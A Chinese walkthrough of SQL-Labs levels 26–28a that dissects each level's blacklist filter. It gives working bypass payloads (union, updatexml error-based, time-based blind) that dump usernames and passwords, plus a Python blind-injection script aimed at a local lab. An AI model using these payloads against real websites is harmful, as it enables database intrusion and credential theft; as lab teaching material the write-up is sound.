君衍.
- 一、二十六關 基于GET過濾空格以及注釋報錯注入
- 1、源碼分析
- 2、繞過思路
- 3、updatexml報錯注入
- 二、二十六a關 基于GET過濾空格注釋字符型注入
- 1、源碼分析
- 2、繞過思路
- 3、時間盲注
- 三、二十七關 基于union及select的過濾單引號注入
- 1、源碼分析
- 2、繞過思路
- 3、聯合查詢注入
- 4、updatexml報錯注入
- 四、二十七a關 基于union及select的過濾雙引號注入
- 1、源碼分析
- 2、繞過思路
- 3、聯合查詢注入
- 4、時間盲注
- 五、二十八關 基于union及select單引號括號注入
- 1、源碼分析
- 2、繞過思路
- 3、聯合查詢注入
- 4、時間盲注
- 五、二十八a關 基于二十八關的過濾減少
- 1、源碼分析
- 2、繞過思路
- 3、聯合查詢注入
- 4、時間盲注
點擊跳轉:
SQL-Labs靶場“1-5”關通關教程
SQL-Labs靶場“6-10”關通關教程
SQL-Labs靶場“11-15”關通關教程
SQL-Labs靶場“15-20”關通關教程
SQL-Labs靶場“21-25”關通關教程
一、二十六關 基于GET過濾空格以及注釋報錯注入
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合、報錯、布爾盲注、延時盲注 | id=‘$id’ |
剛打開的界面:
我們可以看到它說所有的空格以及注釋好像讓過濾掉了,這里我們首先進行驗證:
1、令id為1觀察回顯
2、令id為1后面加上單引號觀察是否會報錯
我們這里可以看到有報錯,所以我們之后可以進行嘗試使用報錯注入。
3、測試使用聯合查詢觀察過濾后的語句
我們這里即可看到它將注釋符以及空格進行了過濾從而引發報錯,下面我們當然是想辦法繞過,所以我們先查看源碼。
1、源碼分析
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_GET['id']))
{$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//fiddling with comments$id= blacklist($id);//echo "<br>";//echo $id;//echo "<br>";$hint=$id;
// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id); //strip out /*$id= preg_replace('/[--]/',"", $id); //Strip out --$id= preg_replace('/[#]/',"", $id); //Strip out #$id= preg_replace('/[\s]/',"", $id); //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashesreturn $id;
}
首先先解讀源碼,第一步獲取了變量id值,然后執行了blacklist函數進行了過濾,之后進入SQL語句中進行查詢,如果可以查到,輸出查詢到的信息,所以這里我們使用聯合查詢其實也是可以的。如果沒有查詢到,那么輸出報錯信息。也就是報錯注入也可以進行嘗試。
這里我們也來看下具體的過濾情況:
# 過濾了or以及and的大小寫
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
# 過濾了/*
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
# 過濾了--以及#注釋符
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
# 過濾了空格
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
# 過濾了斜線
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
2、繞過思路
這里過濾了以下幾個字符:
1、or以及and的大小寫
我們可以考慮以下幾種繞過方式:
and = &&
or = ||
# 異或
xor = |
not = !
使用這幾種字符進行替換掉or以及and。
第二便是使用雙寫進行繞過:
即為:
or=oorr
and=anandd
2、過濾了–以及#注釋符
這里我們可以使用閉合或者分號NULL的方式繞過:
1、and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2、;%00 #這里%00就是NULL的意思,這里可以充當注釋符
3、` #一些特殊的情況下可以充當注釋
3、過濾了空格
這里我們使用如下幾種方式繞過:
1、/**/ #注釋即可充當空格
2、()
3、兩個空格
也可采用url編碼繞過:
符號 | 說明 |
---|---|
%09 | TAB 鍵 (水平) |
%0a | 新建一行 |
%0c | 新的一頁 |
%0d | return 功能 |
%0b | TAB 鍵 (垂直) |
%a0 | 空格 |
3、updatexml報錯注入
1、爆出數據庫名
payload:
?id=1'aandnd(updatexml(1,concat(0x7e,database(),0x7e),1));%00
2、爆出數據庫中的所有表
payload:
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1));%00
3、爆出users表中所有列名
payload:
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))),0x7e),1));%00
4、查詢數據
payload:
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)),0x7e),1));%00
觀察字符限制使用limit或者substr函數進行截取即可。
二、二十六a關 基于GET過濾空格注釋字符型注入
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合、布爾盲注、延時盲注 | id=(‘$id’) |
本關同26關的注入點判斷基本一致,唯獨這里可以發現的不同便是沒有了報錯,首先我們使用id為1進行測試:
然后在1后面加上單引號:
由這里我們即可判斷出報錯注入顯然是不能使用了,同時我們在使用參數為1測試中發現是進行了查詢信息的回顯的,所以這里我們可以試著使用聯合查詢進行注入。同時,盲注我們還需知道閉合方式來進行判斷是否可以繞過得到不同的界面。
1、源碼分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else
{//print_r(mysqli_error($con1));
}
這里與26關不同的地方便是閉合方式以及注釋掉了報錯信息顯示,所以這里我們是無法使用報錯注入的。同時過濾函數同26關相同。
2、繞過思路
這里過濾了以下幾個字符:
1、or以及and的大小寫
我們可以考慮以下幾種繞過方式:
and = &&
or = ||
# 異或
xor = |
not = !
使用這幾種字符進行替換掉or以及and。
第二便是使用雙寫進行繞過:
即為:
or=oorr
and=anandd
2、過濾了–以及#注釋符
這里我們可以使用閉合或者分號NULL的方式繞過:
1、and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2、;%00 #這里%00就是NULL的意思,這里可以充當注釋符
3、` #一些特殊的情況下可以充當注釋
3、過濾了空格
這里我們使用如下幾種方式繞過:
1、/**/ #注釋即可充當空格
2、()
3、兩個空格
也可采用url編碼繞過:
符號 | 說明 |
---|---|
%09 | TAB 鍵 (水平) |
%0a | 新建一行 |
%0c | 新的一頁 |
%0d | return 功能 |
%0b | TAB 鍵 (垂直) |
%a0 | 空格 |
3、時間盲注
這里我們使用時間盲注進行注入,比如說這里我們首先測試數據庫名的第一個字符的ascii值是否大于100,那么我們構造payload:
?id=1')anandd(if(ascii(left(database(),1))>100,sleep(3),0));%00
我們可以看到回顯需要3秒以上,所以我們我們可以使用盲注的方式進行注入,我們編寫成python來完成我們的盲注:
import requests
import timedef inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1')aandnd(if(ascii(substr(database(),%d,1))>%d, sleep(1), 0))aandnd('1')=('1" % (i, mid)params = {"id": payload}start_time = time.time()r = requests.get(url, params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli7/Less-26a/index.php'inject_database(url)
可以看到非常的方便,下面我們便是更改payload繼續進行時間盲注。
三、二十七關 基于union及select的過濾單引號注入
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合、報錯、布爾盲注、延時盲注 | id=(‘$id’) |
從主頁面我們可以看到它說明將我們的union以及select進行了過濾,但是我們依舊是按照常規的注入思路進行注入點判斷注入:
1、使用id為1進行查詢,觀察回顯
這里我們可以看到回顯了查詢到的內容,所以我們之后可以進行嘗試聯合查詢注入,先不說它將union以及select進行了過濾。
2、使用id為1后面加上單引號查看是否有回顯
我們可以看到這里是進行了報錯的,所以我們即使不使用union以及select進行查詢也是可以嘗試使用報錯注入進行注入的。
1、源碼分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else
{print_r(mysqli_error($con1));
}function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
這里我們可以看到和26關相似,只是過濾的內容變了,所以我們現在進行分析:
function blacklist($id)
{
# 過濾了/*
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
# 過濾了-
$id= preg_replace('/[--]/',"", $id); //Strip out --.
# 過濾了#
$id= preg_replace('/[#]/',"", $id); //Strip out #.
# 過濾了空格
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
# 過濾了select /m嚴格模式不能進行雙寫繞過
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
# 過濾了union以及其大寫
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
2、繞過思路
union以及select沒有忽略大小寫,所以依舊可以進行繞過:
# 大小寫混寫
unioN
unIon
seLect
...# 嵌套雙寫
uunionnion
sselectelect
ununionion
...
這里還過濾了以下幾個字符:
過濾了–以及#注釋符
這里我們可以使用閉合或者分號NULL的方式繞過:
1、and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2、;%00 #這里%00就是NULL的意思,這里可以充當注釋符
3、` #一些特殊的情況下可以充當注釋
過濾了空格
這里我們使用如下幾種方式繞過:
1、/**/ #注釋即可充當空格
2、()
3、兩個空格
也可采用url編碼繞過:
符號 | 說明 |
---|---|
%09 | TAB 鍵 (水平) |
%0a | 新建一行 |
%0c | 新的一頁 |
%0d | return 功能 |
%0b | TAB 鍵 (垂直) |
%a0 | 空格 |
3、聯合查詢注入
我們這里使用%0a進行嘗試看是否可以代替空格(我們使用猜字段的方式:)
?id=9999'%0aorder%0aby%0a4;%00
我們可以看到使用%0a代替了空格且成功繞過,下面我們就正常思路使用聯合查詢注入:
1、爆出數據庫名以及版本
?id=9999'%0auNion%0asElect%0a1,database(),version();%00
這里之所以使用9999,那是因為如果我們需要使用聯合查詢時,我們需要使聯合查詢前面的條件為假,我們之前使用-1,但是這里由于過濾掉了-號,所以我這里使用了9999遠大于庫中數據的數量。
2、爆出數據庫中的表名
?id=9999'uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
3、查詢可疑表users中的所有列名
?id=9999'uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00
4、爆出數據
?id=9999'uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00
這里我們即可完成注入。
4、updatexml報錯注入
1、爆出數據庫名
?id=1'%0aand%0aupdatexml(1,concat(0x7e,database(),0x7e),1);%00
2、爆出數據庫中的表
?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1);%00
3、爆出數據庫中可疑表users的列名
?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'),0x7e),1);%00
4、爆出數據
?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0aconcat(username,0x3a,password)from%0ausers%0alimit%0a0,1),0x7e),1);%00
自此,27關注入即可完成。
四、二十七a關 基于union及select的過濾雙引號注入
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合、布爾盲注、延時盲注 | id=“$id” |
本關和27關注入點判斷基本一致,但是在使用1雙引號傳入參后,會發現沒有了報錯:
所以這里注入點這里沒有了,我們也就不能使用報錯注入,但是依舊可以看到查詢到的結果是進行了回顯的,所以我們之后可以進行嘗試使用聯合查詢注入。
1、源碼分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else
{//print_r(mysqli_error($con1));
}
···# 與27關一致
這里我們可以看到它將報錯信息顯示進行了注釋,同時閉合方式采用了雙引號進行閉合,剩下的過濾函數與27關一致。
2、繞過思路
union以及select沒有忽略大小寫,所以依舊可以進行繞過:
# 大小寫混寫
unioN
unIon
seLect
...# 嵌套雙寫
uunionnion
sselectelect
ununionion
...
這里還過濾了以下幾個字符:
過濾了–以及#注釋符
這里我們可以使用閉合或者分號NULL的方式繞過:
1、and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2、;%00 #這里%00就是NULL的意思,這里可以充當注釋符
3、` #一些特殊的情況下可以充當注釋
過濾了空格
這里我們使用如下幾種方式繞過:
1、/**/ #注釋即可充當空格
2、()
3、兩個空格
也可采用url編碼繞過:
符號 | 說明 |
---|---|
%09 | TAB 鍵 (水平) |
%0a | 新建一行 |
%0c | 新的一頁 |
%0d | return 功能 |
%0b | TAB 鍵 (垂直) |
%a0 | 空格 |
3、聯合查詢注入
我們這里使用%0a進行嘗試看是否可以代替空格(我們使用猜字段的方式:)
?id=1"%0aorder%0aby%0a3;%00
?id=1"%0aorder%0aby%0a4;%00
我們可以看到使用%0a代替了空格且成功繞過,下面我們就正常思路使用聯合查詢注入:
1、爆出數據庫名以及版本
?id=9999"%0auNion%0asElect%0a1,database(),version();%00
這里之所以使用9999,那是因為如果我們需要使用聯合查詢時,我們需要使聯合查詢前面的條件為假,我們之前使用-1,但是這里由于過濾掉了-號,所以我這里使用了9999遠大于庫中數據的數量。
2、爆出數據庫中的表名
?id=9999"uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
3、查詢可疑表users中的所有列名
?id=9999"uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00
4、爆出數據
?id=9999"uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00
這里我們即可完成注入。
4、時間盲注
當然這里也可以使用時間盲注,payload如下:
?id=1"%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a"1"="1
判斷數據庫名第一個字符是否大于115:
?id=1"%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a"1"="1
由此可見我們也可編寫python腳本即可完成注入。
五、二十八關 基于union及select單引號括號注入
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合、布爾盲注、延時盲注 | id=(‘$id’) |
本關依舊和二十七關類似,使用1以及1單引號來進行請求查看回顯:
我們依舊可以看到輸出了查詢到的信息,但是并沒有輸出報錯信息,所以本關和27a類似,可以使用聯合查詢以及盲注的方式注入。
1、源碼分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}
else
{//print_r(mysqli_error($con1));
}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
本關采用單引號括號進行閉合,同時注釋了報錯信息,輸出了查詢到的信息,同時過濾了一些字符。與27a關不同的便在于閉合方式以及過濾的內容。
2、繞過思路
首先我們來看本關的過濾內容:
# 過濾了/*
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
# 過濾了-以及#注釋符
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
# 過濾了空格
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
# 過濾了union select /i大小寫都進行了過濾
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
所以這里我們大小寫繞過是不可能的了,這里我們使用雙寫進行繞過union以及select的過濾。
# 嵌套雙寫
uunionnion
sselectelect
ununionion
...
這里還過濾了以下幾個字符:
過濾了–以及#注釋符
這里我們可以使用閉合或者分號NULL的方式繞過:
1、and '1'='1 #這里需要注意使用時觀察閉合方式完成閉合
2、;%00 #這里%00就是NULL的意思,這里可以充當注釋符
3、` #一些特殊的情況下可以充當注釋
過濾了空格
這里我們使用如下幾種方式繞過:
1、/**/ #注釋即可充當空格
2、()
3、兩個空格
也可采用url編碼繞過:
符號 | 說明 |
---|---|
%09 | TAB 鍵 (水平) |
%0a | 新建一行 |
%0c | 新的一頁 |
%0d | return 功能 |
%0b | TAB 鍵 (垂直) |
%a0 | 空格 |
3、聯合查詢注入
我們這里使用%0a進行嘗試看是否可以代替空格(我們使用猜字段的方式:)
?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00
我們可以看到使用%0a代替了空格且成功繞過,下面我們就正常思路使用聯合查詢注入:
1、爆出數據庫名以及版本
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00
這里之所以使用9999,那是因為如果我們需要使用聯合查詢時,我們需要使聯合查詢前面的條件為假,我們之前使用-1,但是這里由于過濾掉了-號,所以我這里使用了9999遠大于庫中數據的數量。
2、爆出數據庫中的表名
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
3、查詢可疑表users中的所有列名
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00
4、爆出數據
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00
這里我們即可完成注入。
4、時間盲注
當然這里也可以使用時間盲注,payload如下:
?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1
判斷數據庫名第一個字符是否大于115:
?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1
由此可見我們也可編寫python腳本即可完成注入。
五、二十八a關 基于二十八關的過濾減少
請求方式 | 注入類型 | 拼接方式 |
---|---|---|
GET | 聯合、布爾盲注、延時盲注 | id=(‘$id’) |
本關只是比28關少了幾個過濾,剩下全部一樣,所以注入點判斷依舊是一樣的,使用1以及1單引號進行測試:
這里我們依舊可以看到回顯查詢到的信息,不回顯報錯信息。
1、源碼分析
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
**剩余代碼與28關都一樣。。。**同時將這些過濾注釋掉了,所以本關就是······難評。
2、繞過思路
# 過濾了union select /i大小寫都進行了過濾
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
所以這里我們大小寫繞過是不可能的了,這里我們使用雙寫進行繞過union以及select的過濾。
# 嵌套雙寫
uunionnion
sselectelect
ununionion
...
3、聯合查詢注入
?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00
我們可以看到使用%0a代替了空格且成功繞過,下面我們就正常思路使用聯合查詢注入:
1、爆出數據庫名以及版本
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00
這里之所以使用9999,那是因為如果我們需要使用聯合查詢時,我們需要使聯合查詢前面的條件為假,我們之前使用-1,但是這里由于過濾掉了-號,所以我這里使用了9999遠大于庫中數據的數量。
2、爆出數據庫中的表名
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
3、查詢可疑表users中的所有列名
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00
4、爆出數據
?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00
這里我們即可完成注入。
4、時間盲注
當然這里也可以使用時間盲注,payload如下:
?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1
判斷數據庫名第一個字符是否大于115:
?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1
由此可見我們也可編寫python腳本即可完成注入。